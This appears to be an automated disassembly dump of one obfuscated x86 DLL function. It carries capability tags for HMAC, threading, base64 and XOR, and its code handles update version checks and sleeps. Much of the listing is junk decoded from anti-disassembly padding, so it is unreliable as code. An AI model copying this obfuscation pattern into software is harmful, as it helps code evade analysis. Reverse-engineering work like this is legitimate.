Function at 0x100c9caf
Capabilities:
Authenticate hmac
Create thread
Encode data using base64
Encode data using xor
Terminate thread

Disassembly:
add eax, 0x1016fcbc
add dword [eax], eax
add byte [eax], al
xor eax, eax
call fcn.1011e571
ret 4
pushfd
test byte [0x100c9b9e], 0x75
jne 0x100c9b9f
sbb byte [edi], bl
sbb eax, eax
push edx
push edi
int 0xd2
sbb esp, eax
sar byte [esp + ecx], 1
and al, 0x80
push ebx
scasd eax, dword es:[edi]
outsd dx, dword [esi]
mov bh, 0x14
mov dl, 0x54
mov edx, 0x94c5ed87
add al, 0x94
lahf
push esi
pop ds
push 0xa19d9932
nop
add al, 0x47
pop edi
or ebx, dword [ecx - 0x32]
in eax, dx
adc eax, 0xe2ddf6fb
xchg dword [edx - 0x21], ebp
mov bh, 0xf3
and esp, ebx
les edi, [edx]
mov ebx, 0x48e590d7
pushfd
and dword [ebx + 0x55], eax
and edi, ebx
fild word [ecx + 0x37]
xor bl, dl
mov al, 0xec
mov ah, 0x5c
xchg byte [edx - 0x4e2b4ebb], al
pop ebp
jbe 0x100c9aea
sbb eax, 0x511853a3
jbe 0x100c9afe
jb 0x100c9bc7
out dx, eax
xchg esp, eax
jge 0x100c9b52
mov bh, 0xe
jl 0x100c9bd7
push edi
mov ecx, dword [esi + 0x2e1a51ed]
cbw
cmp esi, ecx
sbb al, 0x5b
xchg ebx, eax
inc edi
jl 0x100c9bdb
jle 0x100c9b9c
xchg esp, eax
out dx, eax
out dx, eax
xor ah, byte [edi*2 + 0x77485ab3]
std
sbb bh, byte [eax]
jmp dword [edi + 0x13]
sbb dword [edi - 0x46], ebx
popfd
push ebp
pushfd
test byte [0x100c9cae], 0xdc
je 0x100c9caf
pop ebp
xor al, 0x74
xchg dword [eax + 0x6d80c781], edi
xchg byte [esi + 0x20], cl
arpl word [ecx], cx
test al, 0x9c
adc dl, bl
or cl, byte [ebp - 0x3f4a22ad]
fimul dword [edx]
lea edx, [ebx - 0x23]
mov ch, 0xc0
aaa
test al, 0xdb
xlatb
imul ebp, dword [edi], 0x6d77b129
or dword [eax], edx
daa
js 0x100c9bc0
mov al, 0xcf
fild word [ebx - 0x4f]
iretd
add bh, byte [edi + ebp*2 + 0x1f569015]
push esp
add edx, esi
sbb eax, 0xcb15eb0f
outsd dx, dword [esi]
adc al, bh
push 0x26
mov eax, 0xdaf6ede2
mov dword [edx + 0x239265ff], ebp
out dx, al
imul ecx, dword [edx - 0x76], 0x5b2e60a9
cwde
int1
pop ds
leave
in eax, 0x18
rcr dword [eax + 0x2f], 0xc8
push eax
test esp, ebx
aaa
adc dword [eax - 0x2a150c42], 0x78
aaa
push ebp
jo 0x100c9c89
or edi, esi
lodsb al, byte [esi]
rol dword [eax], 0xd3
cmpsd dword [esi], dword es:[edi]
push ebx
int3
cmpsd dword [esi], dword es:[edi]
cmp eax, 0xce35e165
into
mov dword [edx], ebx
xchg edi, eax
mov edi, 0x2209418b
sub al, 0x9d
mov byte [esp + edi*4 + 0x11e4948b], cl
dec ebp
loopne 0x100c9c8e
xor edi, edx
mov dword [esi + 0x79], edi
sub dh, byte [esi]
mov dl, 0x36
push esp
mov word [ecx], es
popfd
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x10170c30]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
push esi
pushfd
test byte [0x100c9cd7], 0xee
jne 0x100c9cd8
aam 0x4c
or esi, ebx
dec edi
add al, 0xdd
popfd
push edi
push dword [ebp + 0xc]
mov edi, dword [ebp + 8]
push edi
push str.hModule_X_ul_reason_for_call_X
xor ebx, ebx
push ebx
pushfd
test byte [0x100c9d20], 0x3c
jne 0x100c9e21
in eax, 0xb3
lahf
dec eax
inc edi
mov dh, 0xcd
clc
push cs
lea ebp, [esi + 0x5c]
mov eax, dword [0x948daa4e]
js 0x100c9d57
stc
inc eax
dec ebx
test dword [edx - 0x627c53f3], 0x469eab7f
mov byte [eax - 0x2337cd4f], al
pop eax
xchg esi, eax
or byte [ebx - 0x116c6ac9], 0x31
mov bl, 0xfc
test ch, 0xd8
bound ebx, qword [eax + ebp*2 - 0x1a7e054f]
xchg ebx, eax
call 0x213019c
insd dword es:[edi], dx
push 0x2e
sbb byte [edi + 0x3e], cl
sbb al, 0x2e
and esp, ecx
push eax
and eax, 0x590e1cf3
jl 0x100c9dc9
sal dword [ebp + 0x32b2fe05], cl
aas
rcr dword [esi], cl
xlatb
cmp al, 0xe7
arpl si, ax
mov bh, 0x50
out 0xf9, al
inc esp
outsb dx, byte [esi]
pushal
insd dword es:[edi], dx
fldenv [edi + 0x6b]
add dword [eax + eax*4 + 0x33], esi
push 0xffffffffffffffb5
cdq
jne 0x100c9cff
invalid
scasb al, byte es:[edi]
daa
mov byte [ecx + 0x1e7161a], ch
jg 0x100c9def
push esp
sbb ah, byte [ebx + 3]
jae 0x100c9d58
mov al, 0xe7
rol byte [ebp + 0x53d2e7a], cl
push edi
xchg ecx, eax
lodsd eax, dword [esi]
dec ecx
sbb dl, bl
mov ecx, 0xb2f4fb1a
dec ebp
xlatb
int3
cli
in eax, 0xe
or byte [ebx - 0x64], dl
push ebp
cmpsb byte [esi], byte es:[edi]
in eax, 0x89
das
int 0x2f
sub dword [ecx], esi
call 0x719fab3
pop esi
pop ss
dec dword [eax - 0x755cd17d]
aaa
rol dword [ecx], 0x7b
mov al, byte [0x45615254]
test al, 0x17
cmc
insb byte es:[edi], dx
push 0xfffffffffffffff3
pop edi
mov cl, 0x71
mov eax, dword [0x19031b47]
add esp, dword [ebx + 0x1b]
jbe 0x100c9e7e
dec edx
or ch, al
insb byte es:[edi], dx
xchg ebx, eax
pop ss
std
and dh, byte [ebp - 0x23]
xor al, 0x88
push esi
inc eax
add eax, 0xdfb3bc7e
mov edx, 0x191dd4b8
or dword [esi], edx
sub eax, 0x5e064e2c
popfd
push 3
pushfd
test byte [0x100c9e40], 0xa
adc byte [edx], cl
jne 0x100c9e41
mov word [edi + 0x39b1a9c9], ss
les ebx, [ebp - 0x17]
fnsave dword [esp + ebx*4 + 0x4be7a843]
jl 0x100c9e15
cli
popfd
mov dword [ebp - 0x114], edi
pushfd
test byte [0x100c9f0a], 0xe7
jne 0x100c9f0b
sub eax, 0xeba17f0a
imul ebp, dword [ecx], 0x865975ca
sbb bh, byte [eax]
daa
fidiv dword [eax - 0x58e3b359]
mov eax, 0xf00c04e7
adc byte [0xd049716], 0xe0
fst qword [ebp + 0x6d]
pop es
or esi, 0xd2c57591
dec ebp
xor al, 0x34
not bh
mov edx, 0x5538c0a2
adc dword [eax], esi
clc
in al, dx
jecxz 0x100c9f05
invalid
jo 0x100c9e2a
mov al, 0xbe
push cs
fcom qword [esi]
sub ebp, 0xffffff9b
push 0xecbf2c8a
push ecx
pop es
push 0x4f5a2832
test al, 0x95
mov eax, dword [0x68f7c02c]
sal bh, 0x68
xchg dword [edx + 0x3a9a61ed], edi
aad 0x99
xchg byte [edi + 0x5f], al
outsb dx, byte [esi]
sub al, 0x58
push ebp
dec esi
add al, dl
pop ecx
lodsd eax, dword [esi]
das
mov cl, 0xc9
add ebp, dword [ecx + 0x1511e549]
dec ebp
jbe 0x100c9eaa
dec eax
scasd eax, dword es:[edi]
or eax, 0xa7e3f880
into
mov esp, 0x5858d196
push ds
lea edi, [edx]
mov ebp, 0xe5867125
cmp al, 0xd6
jae 0x100c9f65
push edx
mov al, 0x87
cmp eax, 0x9d855d0e
fisub dword [edi]
int1
adc edi, dword [ebx + 0x2008449]
and edx, dword [esi - 0x4e]
insd dword es:[edi], dx
pop edi
inc edi
cwde
and ch, byte [edx + eax]
adc byte [edi + 0x28], al
sahf
clc
jge 0x100c9ee2
inc ebp
push ebp
scasb al, byte es:[edi]
popfd
mov dword [ebp - 0x118], eax
call fcn.10049c0c
mov eax, dword [ebp + 0xc]
add esp, 0x14
sub eax, ebx
je 0x100cb0cf
dec eax
je 0x100ca03a
dec eax
je 0x100cb5c7
dec eax
je 0x100cb5c7
cmp dword [ebp + 0xc], 4
pushfd
test byte [0x100ca018], 0xe
jne 0x100ca019
dec ebx
push edx
sal ebx, 0x5f
pop edi
sar byte [ecx], cl
and eax, 0xac06ce4e
out dx, eax
push ebp
pop eax
imul edx, dword [esi], 0x7e
jb 0x100c9f4f
xchg ebx, ecx
stc
mov eax, 0x24ff7a51
and byte [ebx - 0x3b7cbeba], bh
jp 0x100c9f66
jmp dword [eax]
and al, 0x20
mov ebx, 0xc4834146
call 0xcbdac2ac
mov edx, 0xc4cb581
mov bh, 0x2d
fdiv dword [ecx + 0x46]
jno 0x100c9f90
int 0xd6
pop ss
xor byte [edi + eax*8 - 0x14152a74], ah
das
mov ebp, 0xbf004850
adc edi, esp
cld
cmp al, 0x2c
ror dword [ebx], 0x19
fsub st(6), st(0)
imul dword [edi + 3]
mov word [si - 0x2f], cs
xchg dword [edx + 0x5f], edi
xchg cl, dl
or eax, 0x1d518250
xchg edx, eax
mov word [ebp - 4], ds
stosb byte es:[edi], al
sub dh, byte [0x8a165d44]
cmp esi, ebx
mov edi, 0x98d64b99
mov ah, 0x65
mov ecx, 0x18c776de
pop esp
test eax, 0xcd56e14c
adc dword [edi + ecx*2 - 0x3a675daa], 0x75f8fbc8
rcr dl, 0x2f
inc eax
popal
jecxz 0x100c9ff7
das
and dword [edi + 0x7120a5cc], 0xffffff8f
fisubr word [ebx]
jno 0x100ca03e
jnp 0x100c9fd6
xor eax, 0x48d13e87
xchg byte [eax], cl
sbb eax, 0x50e82385
call 0xb2c3822e
mov dh, 0xa2
push edi
pop ecx
cmp dword [ebx], 0xe104be20
sahf
scasb al, byte es:[edi]
in eax, 0x74
push eax
rcl dword [ebx - 2], 0x9a
inc ebx
add eax, 0xca0ec2b2
stc
dec edx
movsb byte es:[edi], byte [esi]
mov ecx, 0x27f86e0a
popfd
je 0x100cb5c7
jmp 0x100ca02d
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x1016fcbc], ebx
je 0x100ca022
jmp 0x100cb94a
call fcn.100bfdb2
mov esi, 0x103
cmp eax, 1
jne 0x100ca72b
invalid
push esi
lea eax, [ebp - 0x107]
push ebx
invalid
push eax
mov byte [ebp - 0x108], bl
pushfd
test byte [0x100ca137], 0x81
jne 0x100ca138
xchg ebx, eax
xchg ecx, eax
fisubr word [ebp - 0x3855c1ce]
push 0xfffffffffffffff9
sub eax, 0x4e2a5906
xchg esp, eax
daa
pop ds
push eax
add ah, byte [ebx + 0x7947e734]
in al, 0xe4
or edx, dword [ecx]
dec ebp
xchg esp, eax
in al, 0xb
adc dword [ebp - 0x6c], ecx
cmp dl, ah
mov dl, 0xda
adc ecx, dword [ecx + esi]
xlatb
mov ecx, es
mov edi, 0x88b210c
sbb byte [0xf759b65], ah
insb byte es:[edi], dx
ja 0x100ca051
fisub word [ebx - 0x46]
xchg ebx, eax
adc ebx, edi
or byte [edx + 0x644e6afc], bl
jnp 0x100ca115
sub ebx, esi
sub byte [ebx], dh
nop
push esp
insb byte es:[edi], dx
popal
fsub dword [edx - 0x49]
aas
in eax, dx
insd dword es:[edi], dx
loopne 0x100ca055
mov bh, 0x80
mov eax, 0xa5a79db1
mov al, 0xc
jl 0x100ca06d
or al, byte [edx + edx*4 - 0x27e93965]
xor eax, esi
or ah, byte [edi]
dec ebx
inc eax
cmp dl, 0x3f
inc ebx
xor ebx, edx
push edi
lock sub byte [ebp - 0x50], dl
in al, dx
cmp eax, 0x9ae1bba1
jecxz 0x100ca085
push ecx
pop esi
ficom dword [ebp - 0x5544d63e]
push 0xfffffffffffffffe
cmp dword [eax + ecx + 0x4bcd3d9e], esp
mov word [esi], es
jg 0x100ca122
arpl bp, cx
dec ebp
sbb eax, dword [ebx]
xchg ebp, eax
sbb dword [edi + 0x44f51251], edx
outsb dx, byte [esi]
cwde
push ebp
push cs
std
sub byte [edi + 0x3f99130c], bh
or al, 0x13
cdq
aas
movsb byte es:[edi], byte [esi]
dec ebx
mov word [ecx], cs
out 0xfc, al
pop ebp
add dh, al
adc byte [ebp - 0x75a8e667], ah
sbb esp, esi
and ah, al
adc dword [esi + 0x58b52f77], ebx
sahf
ja 0x100ca15f
mov ch, 0x58
or byte [ebp + 0x7d], ch
pop esp
sub esp, ecx
popfd
call fcn.1011df60
pushfd
test byte [0x100ca1c2], 0x60
add eax, 0x100ca1c2
pushal
jne 0x100ca1c3
outsd dx, dword [esi]
lds esp, [esi - 0x127b2287]
or dword [esi], edx
xor al, 0x76
adc dl, byte [ebx]
pop edx
int1
rcl dword [eax], cl
xor bh, byte [eax + 0x498b59a]
mov edx, 0x4a989ab7
sub eax, 0xea7ea7ca
div cl
xor esi, ecx
jl 0x100ca12d
inc edx
fdiv dword [esi]
pop esp
sub dl, byte [esp + eax*4 - 0x6c32c71d]
cmp dword [esi + 0x492d14a8], esp
in al, dx
mov ah, byte [ebp + 0x50044974]
aad 0x8d
les edi, [ecx + 0x66]
aas
test byte [ecx - 0x2c], dh
out dx, al
xchg edi, eax
dec edi
jno 0x100ca140
test byte [edi + 0x466a9bba], bh
mov dh, 0xb6
push ecx
test eax, 0x3ec2ec22
push eax
sti
leave
sub al, byte [edi + 0x950a567]
adc ebp, dword [eax + edi + 0x7d512664]
enter 0x37c5, 0xfffffffffffffff1
mov esp, esp
loopne 0x100ca230
dec esi
push ss
in al, 0xce
xchg esp, eax
das
salc
into
popfd
add esp, 0xc
push 0x104
add byte [eax], al
lea eax, [ebp - 0x108]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
pushfd
test byte [0x100ca204], 0x23
jne 0x100ca205
fiadd word [ecx - 7]
adc bh, bh
std
xor dword ss:[edi], edx
cmp dl, byte [ebx]
push ebx
mov dl, 0x12
enter 0x7499, 0xffffffffffffffb4
adc edx, dword [ebp - 0x28]
movsb byte es:[edi], byte [esi]
add al, 0x40
and bl, byte [esi]
pop ss
loop 0x100ca22e
dec ebx
cdq
loop 0x100ca1ca
popfd
lea eax, [ebp - 0x108]
push eax
call int.10044dbc
pop ecx
mov ecx, 0x10172290
pushfd
test byte [0x100ca31e], 0x81
jne 0x100ca31f
invalid
push 0x6c3b0af6
mov ebp, 0xcf1023d1
adc bh, cl
xchg ebp, eax
fsubr st(7), st(0)
or bh, byte [esi - 0x661b08d0]
mov esi, 0x99e4f730
xor al, 0x35
xchg edi, eax
fimul word [esi + eax*8 + 0x19]
xor dword [ebp - 0x78], 0x3bedddbd
mov al, 0xc9
test eax, 0x8a34214d
mov cl, 0xa1
and dword [ecx], eax
add ecx, dword [0x3b47bf2e]
jne 0x100ca282
or al, 0x76
xchg esp, eax
jb 0x100ca209
xchg ebx, eax
clc
test ecx, 0x695326d7
xchg esp, eax
test dword [edx - 0x8c7e232], ebp
pushal
mov eax, 0xb905a600
mov dword [0x62f11be0], eax
cmpsb byte [esi], byte es:[edi]
cmp ch, byte [esi]
insd dword es:[edi], dx
jmp dword [esi]
pop ebp
mov eax, 0x17677edf
shl byte [esi], 1
pop es
in al, dx
sbb dword [esi + 0x77ed99e1], 0x72c32ac1
add ebx, eax
and ebx, esi
xchg edx, eax
xchg edi, eax
push 0x71
jns 0x100ca2e5
sti
mov edi, 0x29cd91ee
jo 0x100ca234
and byte [esi], bl
xor edi, dword [eax - 0x2f]
mov cl, 0x51
cwde
fnsave dword [esi + 0x3f]
jo 0x100ca2cf
pop ds
bound edi, qword [ecx + edx*8 + 0x4c135bb4]
mov edi, 0x3777a696
sbb byte [edx], 0xa1
add al, 0x76
pop eax
sub dword [ecx - 0x11a79cb9], ebx
imul edx, dword [eax], 0xf740fd75
jo 0x100ca343
out 0xf1, eax
pop dword [ecx]
xchg esp, eax
or al, 0x84
or ecx, ebp
outsb dx, byte [esi]
sbb eax, dword [ebp + 0x42aad20c]
jmp 0x1c91be52
stosb byte es:[edi], al
inc edx
fiadd word [ebx + edx*8]
pushal
rcr dword [ebx + 0x56], 1
imul ebp, eax, 0xffffffcf
mov ecx, 0x1233f405
xchg ecx, eax
or eax, 0x302702f4
stc
salc
dec edx
sbb esp, dword [edx]
in eax, dx
mov ah, 0xd7
pop ecx
fcom dword [esi]
leave
mov word [ebx - 0x3d], gs
adc eax, dword [eax]
fsubr dword [edx + 0x4a]
mov ch, 0x6f
test byte [esi + 0x701b7a35], 0xea
jge 0x100ca2df
loop 0x100ca2a1
pop ecx
popfd
mov dword [ebp - 0x120], eax
mov edi, edx
call fcn.100486c3
add eax, 8
push eax
pushfd
test byte [0x100ca40a], 0xd5
jne 0x100ca40b
adc al, 0x94
aam 0xef
sahf
in eax, dx
dec edi
pop ecx
mov ch, 0xf2
mov eax, dword [0x2d3c6973]
jne 0x100ca3c2
add eax, 0x1c1a59aa
jecxz 0x100ca36b
add al, 0xee
stc
mov dl, byte [esp + ebx - 0x7f]
popal
sub byte [esi], bl
lahf
add al, 0x39
push ds
mov ebp, 0xb812bc8
push ecx
mov edi, 0xb4ceaa1d
dec eax
sbb byte [edi + ebx*8 - 0x22135251], dh
push esi
push edi
mov dl, 6
ror dword [edi], 0x15
int3
pop ebx
inc esp
movsb byte es:[edi], byte [esi]
cmpsd dword [esi], dword es:[edi]
pop ds
out dx, al
shl byte [esi - 0x734f9634], 1
mov edi, 0x1043581c
sbb eax, 0x7603d534
je 0x100ca3d0
test dword [eax - 0x23bf84fa], esp
nop
insd dword es:[edi], dx
push 0x5d4e86a7
pop ebp
jnp 0x100ca3ac
mov dh, 0xe9
fiadd dword ds:[edi]
ror byte [eax + 0x491511d9], cl
mov ah, 0xde
int1
push 0xffffffffffffffb6
adc eax, 0x73699635
lodsb al, byte [esi]
shl byte [ecx], cl
and al, 6
push 0x5bd74a6c
push 0xde792210
cmpsb byte [esi], byte es:[edi]
cli
push edx
or dword [eax - 0x6c], esi
xchg ebx, eax
and al, 0xdb
imul ebp, dword [esi + esi*2], 0x89b78926
ja 0x100ca487
inc edx
popfd
call int.10044dbc
idiv edi
push edx
push eax
push edi
push dword [ebp - 0x120]
mov dword [ebp - 0x110], eax
push str.llCurVer_I64X_llOldVer_I64X
push ebx
push 3
mov dword [ebp - 0x10c], edx
call fcn.10049c0c
add esp, 0x20
cmp dword [ebp - 0x10c], edi
jg 0x100cb0c5
jl 0x100ca54a
pushfd
test byte [0x100ca536], 0xc1
jne 0x100ca537
lodsd eax, dword [esi]
inc edi
sbb bh, bl
fidivr dword [eax - 0xb]
das
rcl ebx, cl
imul edi, ebx, 0xffffffd7
outsb dx, byte [esi]
cli
push es
xor eax, 0x21e11749
pushal
inc esi
mov dword [0x803a148d], eax
adc eax, 0xc74fa71d
jl 0x100ca40f
sbb eax, 0x7cc74fa7
xchg esi, eax
fisttp dword [ecx - 0x2d]
inc esp
push ecx
outsb dx, byte [esi]
rol dword [ecx + edx*2 + 0x6e], cl
in al, dx
js 0x100ca473
or al, 0x24
stosd dword es:[edi], eax
sbb dword [ecx + 0x3130b942], esi
cmc
push edi
inc edx
mov ecx, 0x57f53130
fisubr word [ebp + 0x4557bfed]
lea edx, [ebp + 0x3606857]
xor esi, dword [ebp + edi*4 - 0x2189cbf0]
mov eax, dword [0x7b3ccbff]
outsd dx, dword [esi]
dec esi
xchg esi, eax
adc cl, ah
and edx, ebx
fstp qword [edi]
xor ecx, dword [edi]
add esi, dword [eax + 0x31f0d957]
les edx, [0xd161e0dc]
clc
in eax, dx
out 0x1f, al
std
xchg byte [edx - 0x7c], ch
mov bl, 0x6e
pop edi
inc ecx
sub ecx, ebx
pop eax
push ecx
dec eax
dec ebx
add bl, 0xc
mov edi, 0xa5f63f17
emms
mov cl, 0xa0
xor bh, byte [0xe7b91a7b]
and ch, byte [eax - 0x45]
sbb bh, byte [ecx - 0x4497dd19]
mov dh, 0x89
ja 0x100ca47b
test eax, 0x8ef90c0c
jo 0x100ca4de
fnclex
rcl cl, 1
test dword [esi], ecx
add al, 0xe
in eax, 0xf0
popal
pop edx
pop edi
test al, 0xa1
insb byte es:[edi], dx
lodsd eax, dword [esi]
xchg ecx, eax
in al, 0xba
mov esp, dword [eax + 0x58795e95]
push es
dec ecx
sbb bl, byte gs:[eax]
mov eax, 0xb77e85f3
sub ah, byte [ebp - 0x4d]
stc
adc al, byte [edi - 0x24]
invalid
popfd
mov eax, dword [ebp - 0x120]
cmp dword [ebp - 0x110], eax
jae 0x100cb0c5
call fcn.100c189d
test eax, eax
pushfd
test byte [0x100ca58e], 0xd3
jne 0x100ca58f
stc
mov eax, dword [esi - 0x75]
xor al, 0x43
dec edi
cmp dword [edx - 0x3d5c3768], 0xffffffa5
mov edx, 0x5e76c880
cmp eax, 0xa2fb3506
add dh, byte [ecx - 0x72dcb32f]
add dword [edi - 0xbad81bd], ebp
mov esp, 0x2323b464
lodsd eax, dword [esi]
inc edx
push eax
push cs
outsb dx, byte [esi]
xor byte [esi - 0x5d], bl
aaa
inc eax
stosb byte es:[edi], al
popfd
jne 0x100ca720
pushfd
test byte [0x100ca62e], 0x44
jne 0x100ca62f
das
inc eax
add al, 0x60
scasd eax, dword es:[edi]
in eax, 0
dec ebx
dec ecx
pavgb mm5, mm3
pop esp
or dword [eax], ebp
insb byte es:[edi], dx
dec esp
inc edi
loop 0x100ca5ea
mov bh, 0x8f
test eax, esp
cmp al, 0x69
adc ebx, dword [esi - 0x133ae74a]
pop edx
lea edx, [ebx + 0x49]
push esp
xchg esi, eax
fmulp st(7)
js 0x100ca587
pop esi
fadd dword fs:[ebx + 0x1c]
push edx
inc edx
sbb byte [edx + 0x6c], dl
cmc
pop edi
jg 0x100ca613
movsb byte es:[edi], byte [esi]
push cs
pop es
fidivr word ds:[ecx + 0x62]
mov ecx, 0x6575730e
xor esi, dword [eax + 0x714f2d61]
stosb byte es:[edi], al
or ch, ch
mov al, 0x61
sub eax, 0x8aa714f
in eax, dx
adc ch, ch
salc
jle 0x100ca5f4
mov dword [0x345ab26e], eax
jecxz 0x100ca651
jl 0x100ca675
push ds
call 0xe0a0a0ad
mov edi, 0x7ade0733
pop esp
bound esi, qword [eax - 0x26]
stosb byte es:[edi], al
inc edx
sti
adc dl, bl
bound esi, qword [ebp - 0x31831b15]
xor al, 0x36
inc esp
dec edi
jb 0x100ca600
fisub dword [edx - 0x4b]
jmp 0x100ca5fc
faddp st(6)
mov eax, 0x9d4378f
push ecx
adc ecx, dword [edx - 0x38c5b44d]
mov dh, byte [ebx - 0x6238c5b5]
cmp al, bh
popfd
push str.ExitOldOne_Failed_
push ebx
push ebx
call fcn.10049c0c
pushfd
test byte [0x100ca674], 0x53
jne 0x100ca675
pushal
xchg esp, eax
jl 0x100ca692
push 0xffffffffffffff8a
jb 0x100ca656
xlatb
xchg esp, ebx
xchg esp, eax
mov dh, 0x93
push 0xd944202e
jge 0x100ca64c
and byte [ecx + ebx*8 + 0x7d], al
int1
pop edi
in al, dx
fmul qword [edi + 0x35]
test al, 0xd9
rol byte [ecx + ebp*2], cl
and al, 0x48
adc dl, byte [edi]
cmpsd dword [esi], dword es:[edi]
push ds
rol bl, 1
xor al, 0x73
or esp, dword [eax + ebx*4]
and al, 0x98
inc esp
sub al, 0xee
popfd
add esp, 0xc
pushfd
test byte [0x100ca719], 0xe
jne 0x100ca71a
add byte [ecx - 0x19], dh
jno 0x100ca670
jbe 0x100ca686
mov dl, 0xc6
aad 0xa3
inc edi
inc ebp
test byte [esi + 0x162eb42], 0x88
pushfd
pushal
xchg byte [edx - 0x15], al
bound eax, qword [ecx]
mov byte [eax + 0x5e8d7849], bl
dec ecx
js 0x100ca62a
pop esi
jo 0x100ca69a
jl 0x100ca62d
test byte [ebp + 0x65], cl
push 0x5379a8e4
sub ebx, ecx
imul ebx, dword [eax - 0x709cf86b], 0xffffffd0
dec edi
int 0x78
jecxz 0x100ca647
and dword [edx + 0x8cb5d58], ebp
sub bl, cl
or al, 0x47
xchg ecx, eax
cmpsd dword [esi], dword es:[edi]
cmp ebp, dword [ecx - 0xbc77885]
inc edx
mov ebp, 0xf05564b8
pop esi
xor al, ah
fmul dword [edi - 0x1b]
int3
popfd
jmp 0x100cb94a
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x114]
mov dword [0x10172dc8], eax
mov dword [0x101723ac], eax
mov eax, dword [0x10172224]
mov dword [0x1016fcbc], ebx
cmp eax, ebx
jne 0x100ca971
cmp dword [0x10172220], ebx
pushfd
test byte [0x100ca7ec], 0xd4
jne 0x100ca7ed
mov edi, ebx
mov dword [0xefa3709d], eax
das
sti
push esp
or bl, ah
xor byte [ecx - 0x40bf3645], 6
xchg ebx, eax
out 0x60, eax
out 0x79, al
ficom word [esi + 0xd]
xchg esp, eax
xor dword [ecx], ebp
jecxz 0x100ca7a4
jne 0x100ca7a1
fisttp dword [esi]
adc esp, dword [eax]
sbb al, 0x1e
stosb byte es:[edi], al
jae 0x100ca71b
out dx, eax
add al, 0xab
xchg edi, eax
cmp dword [ecx + 0x54], ebp
mov word [edi - 0x23b4681], ds
and ecx, dword [ebx]
test al, 0xc6
imul ecx, dword [esi + edx*2 - 0x5acdb4df], 0xb50f2dc4
sar dword [ecx], cl
and dword [ebx + 0x32], ecx
movsd dword es:[edi], dword [esi]
les ebp, [0x39d3b50f]
enter 0x4128, 0xfffffffffffffffd
mov ecx, 0xddfa0edd
das
cmp dh, byte [eax - 0x2e]
mov dword [0x4500d95d], eax
fbstp tbyte [eax - 0xc]
mov esp, 0x48f7806d
scasb al, byte es:[edi]
add dword [edi], ebp
cmp edx, dword [eax]
jle 0x100ca803
mov eax, dword [0xe922f952]
push ebx
mov ch, 0x53
mov edi, 0xda283378
adc dword [0xb499e75], esi
mov ebx, 0x8e621f8a
ror byte [edi + 0x35], cl
sbb edx, dword [edi - 0x76]
popfd
jne 0x100ca960
push ebx
pushfd
test byte [0x100ca843], 0xf
jne 0x100ca844
arpl word [ecx + 0x11ceefdc], sp
or eax, 0x82971789
into
adc dword [0x82971789], ecx
fcmovb st(0), st(2)
arpl word fs:[ebp - 0x7e], si
adc edi, dword [edx - 0x1f]
xor al, 0x47
inc esi
je 0x100ca850
and ebx, dword [esi - 0x5b]
adc edx, dword [esi]
xchg ebp, eax
pop ecx
ja 0x100ca82e
sub al, 0x97
das
pop ss
dec eax
adc edi, ebp
xchg ecx, eax
fnsave dword [0x85f0b959]
ja 0x100ca8a9
test dword [edi + 0x78], esi
test esi, 0x1d21e5ca
xor dword [ebx], ebx
lodsb al, byte [esi]
shr byte [ebp - 0x4933fad6], 0xb5
sbb ah, byte [esi]
into
popfd
call fcn.10044456
pushfd
test byte [0x100ca858], 0x2f
adc byte [edi], ch
jne 0x100ca959
add byte [eax], ah
mov ch, 0xd7
scasb al, byte es:[edi]
adc dword [edx], ebp
and byte [ebp + 0x2a11aed7], dh
or esi, edx
cmp dl, bl
sahf
push ebp
cmp al, 0xd8
sub al, 0x4e
div dword [ebx - 0x7d]
jge 0x100ca857
cdq
add byte [ebx + ebx*2], cl
jge 0x100ca8aa
xchg edx, eax
sti
cli
dec edi
xchg esi, eax
movsd dword es:[edi], dword [esi]
inc edx
js 0x100ca88e
push ebx
dec esp
sbb byte [edx], dh
jno 0x100ca8aa
adc al, byte [ebx]
aaa
cmp byte [esi - 0x53], dl
sub dword [ebp - 0x6906b4f0], 0xf6801938
dec eax
xchg esi, eax
cmp byte [ecx], bl
xor dh, 0x48
test al, 0x79
ror esi, 0x1b
xchg ebx, eax
xchg bl, dh
sub edx, dword [edi]
insd dword es:[edi], dx
sbb al, 0x23
push ds
mov dh, 0xb3
popfd
jb 0x100ca881
lodsd eax, dword [esi]
adc byte [0x79c382a3], bh
cmp eax, 0x79c382a3
mov dword [0xb479c382], eax
invalid
mov ah, 0xdd
outsb dx, byte [esi]
jae 0x100ca8ae
sal byte [ebx + edi - 0x6da11f56], 1
cmpsb byte [esi], byte es:[edi]
out 0xbd, eax
sub ecx, dword [ebp + 0xc2fd973]
div byte [edx + 0x4a60d541]
add al, byte [ebx]
pop esp
arpl word [ebp - 0x6d], si
sub ebx, dword [esi - 0x4e]
or al, 0xb6
push eax
je 0x100ca94e
sbb edx, esi
push esi
imul esp, dword [eax - 0x2a], 0x451a8b6a
mov esp, 0x38ab8f3a
fistp dword [edx]
fmul qword [esi]
test al, 0x2f
inc edx
test eax, 0xd0d0269c
aam 0x62
leave
mov al, byte [0xeaffb2d1]
fmul dword [ebx]
add byte [ebx + 0x71], cl
out 0x28, al
int 0x6a
jno 0x100ca92e
pop ss
cdq
xchg edx, eax
lodsd eax, dword [esi]
sal ah, 1
int3
scasb al, byte es:[edi]
pop edi
cli
sti
mov eax, 0x1831c0ce
stosd dword es:[edi], eax
push eax
inc esi
xor bl, byte [ebp + 0x26]
fsubrp st(5)
lds ebp, [esi + edx*4 - 0x12]
sal dword [esi - 0x73], 0x6b
jno 0x100ca954
fiadd dword [esp + ebp*4 + 0x608b8de4]
mov edi, 0x2182d40a
mov esp, dword [eax + 0x67]
mov edi, 0x2182d40a
and byte [ecx], 0x57
push edi
outsb dx, byte [esi]
pop ds
popfd
pop ecx
mov dword [0x10172224], eax
push eax
push str.debug_file_X
push ebx
push 3
call fcn.10049c0c
add esp, 0x10
push dword [0x10172220]
push str.g_iTestID_d
push ebx
push 3
call fcn.10049c0c
mov eax, dword [0x10172dd0]
add esp, 0x10
cmp eax, ebx
je 0x100cac86
lea ecx, [ebp - 0x10c]
push ecx
push eax
pushfd
test byte [0x100caa3a], 0xad
jne 0x100caa3b
sal dword [0x8f96df12], 0xc1
pop ebp
stc
xchg ebx, eax
and dword [esp + edi*4 + 0x681d0be3], edi
sub byte [eax + edi*8], 7
jle 0x100caa2d
xchg byte [edx + 0x4a], bh
nop
xlatb
stosb byte es:[edi], al
